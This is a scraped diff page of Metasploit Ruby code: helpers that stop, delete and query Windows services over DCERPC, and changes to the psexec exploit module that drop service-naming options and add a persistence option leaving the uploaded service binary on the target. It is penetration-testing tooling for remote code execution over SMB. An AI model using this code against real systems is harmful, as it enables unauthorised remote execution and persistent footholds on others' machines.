# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||||
|
#
|
||||||
|
# @return [Integer] Windows error code
|
||||||
|
def stopservice(svc_handle)
|
||||||
|
dce_controlservice(svc_handle, SERVICE_CONTROL_STOP)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Controls an existing service.
|
||||||
|
#
|
||||||
|
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||||
|
# @param operation [Fixnum] the operation number to perform (1 = stop
|
||||||
|
# service; others are unknown).
|
||||||
|
#
|
||||||
|
# @return [Integer] Windows error code
|
||||||
|
def controlservice(svc_handle, operation)
|
||||||
|
svc_status = nil
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(CONTROL_SERVICE, svc_handle + NDR.long(operation))
|
||||||
|
if response
|
||||||
|
svc_status = error_code(response[28,4])
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error controlling service: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
svc_status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls DeleteService() to delete a service.
|
||||||
|
#
|
||||||
|
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||||
|
#
|
||||||
|
# @return [Integer] Windows error code
|
||||||
|
def deleteservice(svc_handle)
|
||||||
|
svc_status = nil
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(DELETE_SERVICE, svc_handle)
|
||||||
|
if response
|
||||||
|
svc_status = error_code(response)
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error deleting service: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
svc_status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls QueryServiceStatus() to query the status of a service.
|
||||||
|
#
|
||||||
|
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||||
|
#
|
||||||
|
# @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned
|
||||||
|
# that isn't implemented), 1 if the service is running, and
|
||||||
|
# 2 if the service is stopped.
|
||||||
|
def queryservice(svc_handle)
|
||||||
|
ret = 0
|
||||||
|
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(QUERY_SERVICE_STATUS, svc_handle)
|
||||||
|
if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01"
|
||||||
|
ret = 1
|
||||||
|
elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00"
|
||||||
|
ret = 2
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error deleting service: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
ret
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -15,7 +15,6 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ManualRanking
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
@ -78,9 +77,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
|
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
|
||||||
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
||||||
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
|
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
|
||||||
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]),
|
|
||||||
OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]),
|
|
||||||
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil])
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -227,17 +223,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
||||||
end
|
end
|
||||||
|
|
||||||
psexec(file_location, false, servicedescription, servicename, displayname)
|
psexec(file_location, false)
|
||||||
|
|
||||||
print_status("Deleting \\#{filename}...")
|
unless datastore['SERVICE_PERSIST']
|
||||||
|
print_status("Deleting \\#{filename}...")
|
||||||
#This is not really useful but will prevent double \\ on the wire :)
|
#This is not really useful but will prevent double \\ on the wire :)
|
||||||
if datastore['SHARE'] =~ /.[\\\/]/
|
if datastore['SHARE'] =~ /.[\\\/]/
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
simple.delete("\\#{fileprefix}\\#{filename}")
|
simple.delete("\\#{fileprefix}\\#{filename}")
|
||||||
else
|
else
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||||
simple.delete("\\#{filename}")
|
simple.delete("\\#{filename}")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
handler
|
handler
|
||||||
|
|
Loading…
Reference in New Issue